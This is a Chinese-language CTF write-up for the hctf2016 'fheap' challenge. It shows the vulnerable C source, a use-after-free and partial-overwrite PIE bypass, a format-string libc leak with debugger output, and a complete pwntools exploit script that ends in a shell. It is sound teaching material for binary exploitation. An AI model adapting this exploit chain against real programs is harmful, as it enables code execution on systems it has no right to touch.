hctf2016-fheap Writeup

题目地址:https://github.com/zh-explorer/hctf2016-fheap

测试环境为鄙人自行编译的glibc-2.23,加上-g参数(baby heap),并按照要求开启pie保护。

感谢来自大佬 钞sir 的指点。部分思路借鉴自 钞sir 的博客: https://cc-sir.github.io/2019/03/28/pwnf/

源码:main.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

typedef struct String
{
    union {
        char *buf;
        char array[16];
    } o;
    int len;
    void (*free)(struct String *ptr);
} String;

struct
{
    int inuse;
    String *str;
} Strings[0x10];

void showMenu(void);

int getInt(void);

void creatStr();

void deleteStr();

void freeShort(String *str);

void freeLong(String *str);
int getInt(void)
{
    char str[11];
    char ch;
    int i;
    for (i = 0; (read(STDIN_FILENO, &ch, 1), ch) != '\n' && i < 10 && ch != -1; i++)
    {
        str[i] = ch;
    }
    str[i] = 0;
    return atoi(str);
}

int main(void)
{
    char buf[1024];
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    printf("+++++++++++++++++++++++++++\n");
    printf("So, let's crash the world\n");
    printf("+++++++++++++++++++++++++++\n");

    while (1)
    {
        showMenu();
        if (read(STDIN_FILENO, buf, 1024) == 0)
        {
            return 1;
        }
        if (!strncmp(buf, "create ", 7))
        {
            creatStr();
        }
        else if (!strncmp(buf, "delete ", 7))
        {
            deleteStr();
        }
        else if (!strncmp(buf, "quit ", 5))
        {
            printf("Bye~\n");
            return 0;
        }
        else
        {
            printf("Invalid cmd\n");
        }
    }
}
void freeShort(String *str)
{
    free(str);
}

void freeLong(String *str)
{
    free(str->o.buf);
    free(str);
}

void deleteStr()
{
    int id;
    char buf[0x100];
    printf("Pls give me the string id you want to delete\nid:");
    id = getInt();
    if (id < 0 || id > 0x10)
    {
        printf("Invalid id\n");
    }
    if (Strings[id].str)
    {
        printf("Are you sure?:");
        read(STDIN_FILENO, buf, 0x100);
        if (strncmp(buf, "yes", 3))
        {
            return;
        }
        Strings[id].str->free(Strings[id].str);
        Strings[id].inuse = 0;
    }
}

void creatStr()
{
    String *string = malloc(sizeof(String));
    int i;
    char *str = NULL;
    char buf[0x1000];
    size_t size;

    printf("Pls give string size:");
    size = (size_t)getInt();
    if (size < 0 || size > 0x1000)
    {
        printf("Invalid size\n");
        free(string);
        return;
    }
    printf("str:");
    if (read(STDIN_FILENO, buf, size) == -1)
    {
        printf("got elf!!\n");
        exit(1);
    }
    size = strlen(buf);
    if (size < 16)
    {
        strncpy(string->o.array, buf, size);
        string->free = freeShort;
    }
    else
    {
        str = malloc(size);
        if (str == NULL)
        {
            printf("malloc faild!\n");
            exit(1);
        }
        strncpy(str, buf, size);
        string->o.buf = str;
        string->free = freeLong;
    }

    string->len = (int)size;
    for (i = 0; i < 0x10; i++)
    {
        if (Strings[i].inuse == 0)
        {
            Strings[i].inuse = 1;
            Strings[i].str = string;
            printf("The string id is %d\n", i);
            break;
        }
    }
    if (i == 0x10)
    {
        printf("The string list is full\n");
        string->free(string);
    }
}

void showMenu(void)
{
    printf("1.create string\n");
    printf("2.delete string\n");
    printf("3.quit\n");
}

程序简介

主要功能

void showMenu(void)
{
    printf("1.create string\n");
    printf("2.delete string\n");
    printf("3.quit\n");
}

两个结构体

typedef struct String
{
    union {
        char *buf;
        char array[16];
    } o;
    int len;
    void (*free)(struct String *ptr);
} String;

struct
{
    int inuse;
    String *str;
} Strings[0x10];

create string

void creatStr()
{
    String *string = malloc(sizeof(String));
    int i;
    char *str = NULL;
    char buf[0x1000];
    size_t size;

    printf("Pls give string size:");
    size = (size_t)getInt();
    if (size < 0 || size > 0x1000)
    {
        printf("Invalid size\n");
        free(string);
        return;
    }
    printf("str:");
    if (read(STDIN_FILENO, buf, size) == -1)
    {
        printf("got elf!!\n");
        exit(1);
    }
    size = strlen(buf);
    if (size < 16)
    {
        strncpy(string->o.array, buf, size);
        string->free = freeShort;
    }
    else
    {
        str = malloc(size);
        if (str == NULL)
        {
            printf("malloc faild!\n");
            exit(1);
        }
        strncpy(str, buf, size);
        string->o.buf = str;
        string->free = freeLong;
    }

    string->len = (int)size;
    for (i = 0; i < 0x10; i++)
    {
        if (Strings[i].inuse == 0)
        {
            Strings[i].inuse = 1;
            Strings[i].str = string;
            printf("The string id is %d\n", i);
            break;
        }
    }
    if (i == 0x10)
    {
        printf("The string list is full\n");
        string->free(string);
    }
}

create string 有两种不同方式来储存字符串,当字符串小于16时,直接储存在string->o.array,否则申请新的内存空间来储存,而且释放的方法也不同。完成操作后生产的String结构体会储存在全局变量Strings中。

deleteStr

void deleteStr()
{
    int id;
    char buf[0x100];
    printf("Pls give me the string id you want to delete\nid:");
    id = getInt();
    if (id < 0 || id > 0x10)
    {
        printf("Invalid id\n");
    }
    if (Strings[id].str)
    {
        printf("Are you sure?:");
        read(STDIN_FILENO, buf, 0x100);
        if (strncmp(buf, "yes", 3))
        {
            return;
        }
        Strings[id].str->free(Strings[id].str);
        Strings[id].inuse = 0;
    }
}

给出要删除的id进行删除。

漏洞在哪里呢 ?

typedef struct String
{
    union {
        char *buf;
        char array[16];
    } o;
    int len;
    void (*free)(struct String *ptr);
} String;

看到这里第一个想到的就是double free,而且在deleteStr函数中并没有对double free有什么限制的操作。本难题的难点是绕过pie保护,可以用部分覆盖来绕过pie。

ex@ubuntu:~/test/hctf2016-fheap$ readelf -a pwn | grep -E "puts|free"
000000202018  000200000007 R_X86_64_JUMP_SLO 0000000000000000 free@GLIBC_2.2.5 + 0
000000202030  000700000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND free@GLIBC_2.2.5 (2)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)
    53: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND free@@GLIBC_2.2.5
    59: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@@GLIBC_2.2.5
    76: 0000000000000d4b    27 FUNC    GLOBAL DEFAULT   14 freeShort
    83: 0000000000000d66    42 FUNC    GLOBAL DEFAULT   14 freeLong
ex@ubuntu:~/test/hctf2016-fheap$ objdump -d -M intel pwn | grep puts
0000000000000980 <puts@plt>:
     c4f:	e8 2c fd ff ff       	call   980 <puts@plt>
     c5b:	e8 20 fd ff ff       	call   980 <puts@plt>
     c67:	e8 14 fd ff ff       	call   980 <puts@plt>
     d18:	e8 63 fc ff ff       	call   980 <puts@plt>
     d2b:	e8 50 fc ff ff       	call   980 <puts@plt>
     ddf:	e8 9c fb ff ff       	call   980 <puts@plt>
     f38:	e8 43 fa ff ff       	call   980 <puts@plt>
     f8a:	e8 f1 f9 ff ff       	call   980 <puts@plt>
    1014:	e8 67 f9 ff ff       	call   980 <puts@plt>
    1126:	e8 55 f8 ff ff       	call   980 <puts@plt>
    1163:	e8 18 f8 ff ff       	call   980 <puts@plt>
    116f:	e8 0c f8 ff ff       	call   980 <puts@plt>
    117b:	e8 00 f8 ff ff       	call   980 <puts@plt>
ex@ubuntu:~/test/hctf2016-fheap$ 

如上所示,将freeShort部分覆盖为上面的值时,即可相当于将freeShort改成puts函数。

思路

  1. UAF漏洞将freeShort改成puts函数
  2. 泄露程序基地址
  3. 格式化字符串漏洞泄露libc基地址
  4. getshell

用UAF漏洞将freeShort改成puts函数

d18: e8 63 fc ff ff call 980 <puts@plt>
就改成上面的地址即可。

call_puts_addr = 0xd18

# 1 . UAF
create(8,'\n')
create(8,'\n')

# UAF
delete(1)
delete(0)

create(25,'a'*24 + p64(call_puts_addr)[0])

泄露程序基地址

# 泄露程序的基地址
sh.sendline('delete ')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes')

sh.recvuntil('a'*24)
ret = sh.recvuntil('\n')[:-1]
image_base = u64(ret.ljust(8,'\x00')) - call_puts_addr
log.success('image_base: ' + hex(image_base))
# 清除流
sh.recvuntil('quit')

由于string->free函数指针储存的信息就包括了程序基地址。

格式化字符串漏洞泄露libc基地址

在Linux,*BSD和Mac OS X里也使用同一种方式来传递函数参数。前6个参数使用 RDI,RSI,RDX,RCX,R8,R9 来传递的,剩下的用栈。所以第七个参数才是栈上的一个偏移,即用$6来偏移。

这里我用了一个最近的偏移,具体计算方法如下:

───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/glibc/glibc-2.23/stdio-common/printf.c
   23 
   24 /* Write formatted output to stdout from the format string FORMAT.  */
   25 /* VARARGS1 */
   26 int
   27 __printf (const char *format, ...)
  28 {
   29   va_list arg;
   30   int done;
   31 
   32   va_start (arg, format);
   33   done = vfprintf (stdout, format, arg);
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp  0x7ffea8f7b568 —▸ 0x5615a0226e99 (deleteStr+265) ◂— lea    rax, [rip + 0x201220]
01:0008│      0x7ffea8f7b570 ◂— 0x0
02:0010│      0x7ffea8f7b578 ◂— 0x100000000
03:0018│      0x7ffea8f7b580 ◂— 0x5f5f00650a736579 /* 'yes\ne' */
04:0020│      0x7ffea8f7b588 ◂— 'vdso_get'
05:0028│      0x7ffea8f7b590 ◂— 0x0
... 
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0     7fe021bf5410 printf
   f 1     5615a0226e99 deleteStr+265
   f 2     5615a0226ced main+260
   f 3     7fe021bc9c09 __libc_start_main+385
Breakpoint printf
pwndbg> stack
00:0000│ rsp  0x7ffea8f7b568 —▸ 0x5615a0226e99 (deleteStr+265) ◂— lea    rax, [rip + 0x201220]
01:0008│      0x7ffea8f7b570 ◂— 0x0
02:0010│      0x7ffea8f7b578 ◂— 0x100000000
03:0018│      0x7ffea8f7b580 ◂— 0x5f5f00650a736579 /* 'yes\ne' */
04:0020│      0x7ffea8f7b588 ◂— 'vdso_get'
05:0028│      0x7ffea8f7b590 ◂— 0x0
... 
pwndbg> 
08:0040│   0x7ffea8f7b5a8 ◂— 0x0
... 
0e:0070│   0x7ffea8f7b5d8 —▸ 0x7fe021c15c3b (_IO_new_file_write+101) ◂— test   rax, rax
0f:0078│   0x7ffea8f7b5e0 ◂— 0x0
pwndbg> p (0x7ffea8f7b5d8-0x7ffea8f7b570)/8
$1 = 13
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5615a0226000     0x5615a0228000 r-xp     2000 0      /home/ex/test/hctf2016-fheap/pwn
    0x5615a0427000     0x5615a0428000 r--p     1000 1000   /home/ex/test/hctf2016-fheap/pwn
    0x5615a0428000     0x5615a0429000 rw-p     1000 2000   /home/ex/test/hctf2016-fheap/pwn
    0x5615a1544000     0x5615a1565000 rw-p    21000 0      [heap]
    0x7fe021baa000     0x7fe021d30000 r-xp   186000 0      /home/ex/glibc/glibc-2.23/_debug/lib/libc-2.23.so
    0x7fe021d30000     0x7fe021f2f000 ---p   1ff000 186000 /home/ex/glibc/glibc-2.23/_debug/lib/libc-2.23.so
    0x7fe021f2f000     0x7fe021f33000 r--p     4000 185000 /home/ex/glibc/glibc-2.23/_debug/lib/libc-2.23.so
    0x7fe021f33000     0x7fe021f35000 rw-p     2000 189000 /home/ex/glibc/glibc-2.23/_debug/lib/libc-2.23.so
    0x7fe021f35000     0x7fe021f39000 rw-p     4000 0      
    0x7fe021f39000     0x7fe021f5b000 r-xp    22000 0      /home/ex/glibc/glibc-2.23/_debug/lib/ld-2.23.so
    0x7fe022154000     0x7fe022157000 rw-p     3000 0      
    0x7fe022159000     0x7fe02215a000 rw-p     1000 0      
    0x7fe02215a000     0x7fe02215b000 r--p     1000 21000  /home/ex/glibc/glibc-2.23/_debug/lib/ld-2.23.so
    0x7fe02215b000     0x7fe02215c000 rw-p     1000 22000  /home/ex/glibc/glibc-2.23/_debug/lib/ld-2.23.so
    0x7fe02215c000     0x7fe02215d000 rw-p     1000 0      
    0x7ffea8f5d000     0x7ffea8f7e000 rw-p    21000 0      [stack]
    0x7ffea8ff1000     0x7ffea8ff3000 r--p     2000 0      [vvar]
    0x7ffea8ff3000     0x7ffea8ff5000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> p/x 0x7fe021c15c3b-0x7fe021baa000
$2 = 0x6bc3b
pwndbg>

准备好所有值后就可以直接进行泄露了

# 泄露libc基地址

delete(0)
create(32,'aaaa%'+str(6 + 13)+'$llx'+'a'*13 + p64(image_base + elf.symbols['printf']))

sh.sendline('delete ')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes')

sh.recvuntil('a'*4)
ret = sh.recvuntil('a'*2)[:-2]
_IO_new_file_write_101_addr = int(ret,16)
log.success('_IO_new_file_write_101_addr: ' + hex(_IO_new_file_write_101_addr))

# 需要自行计算
_IO_new_file_write_101_offset = 0x6bc3b

libc_addr = _IO_new_file_write_101_addr - _IO_new_file_write_101_offset
log.success('libc_addr: ' + hex(libc_addr))

getshell

# 设置string->free为system函数,getshell
delete(0)
create(32,' '*21 + 'sh;' + p64(libc_addr + libc.symbols['system']))

sh.sendline('delete ')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes')

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

const_file_name = "./pwn"
sh = process(const_file_name)
elf = ELF(const_file_name)
libc = ELF('/home/ex/glibc/glibc-2.23/_debug/lib/libc.so.6')

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

def create(size, string):
    sh.sendline('create ')
    sh.recvuntil('size:')
    sh.sendline(str(size))
    sh.recvuntil('str:')
    sh.send(string)
    sh.recvuntil('quit')


def delete(id):
    sh.sendline('delete ')
    sh.recvuntil('id:')
    sh.sendline(str(id))
    sh.recvuntil('sure?:')
    sh.sendline('yes')
    sh.recvuntil('quit')

# 清除流
sh.recvuntil('quit')

# context.log_level = 'debug'
call_puts_addr = 0xd18

# 1 . UAF
create(8,'\n')
create(8,'\n')

# UAF
delete(1)
delete(0)

create(25,'a'*24 + p64(call_puts_addr)[0])

# 泄露程序的基地址
sh.sendline('delete ')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes')

sh.recvuntil('a'*24)
ret = sh.recvuntil('\n')[:-1]
image_base = u64(ret.ljust(8,'\x00')) - call_puts_addr
log.success('image_base: ' + hex(image_base))
# 清除流
sh.recvuntil('quit')

# 泄露libc基地址

delete(0)
create(32,'aaaa%'+str(6 + 13)+'$llx'+'a'*13 + p64(image_base + elf.symbols['printf']))

sh.sendline('delete ')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes')

sh.recvuntil('a'*4)
ret = sh.recvuntil('a'*2)[:-2]
_IO_new_file_write_101_addr = int(ret,16)
log.success('_IO_new_file_write_101_addr: ' + hex(_IO_new_file_write_101_addr))

# 需要自行计算
_IO_new_file_write_101_offset = 0x6bc3b

libc_addr = _IO_new_file_write_101_addr - _IO_new_file_write_101_offset
log.success('libc_addr: ' + hex(libc_addr))


# 设置string->free为system函数,getshell
delete(0)
create(32,' '*21 + 'sh;' + p64(libc_addr + libc.symbols['system']))

sh.sendline('delete ')
sh.recvuntil('id:')
sh.sendline(str(1))
sh.recvuntil('sure?:')
sh.sendline('yes')

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行结果

ex@ubuntu:~/test/hctf2016-fheap$ ./exp.py 
[+] Starting local process './pwn': pid 4732
[*] '/home/ex/test/hctf2016-fheap/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/ex/glibc/glibc-2.23/_debug/lib/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] image_base: 0x556ed24cb000
[+] _IO_new_file_write_101_addr: 0x7f108e684c3b
[+] libc_addr: 0x7f108e619000
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$  

总结

不管你有多么聪明,总有人比你更聪明。如果你想变得更强,那就必须得到能得到的一切帮助。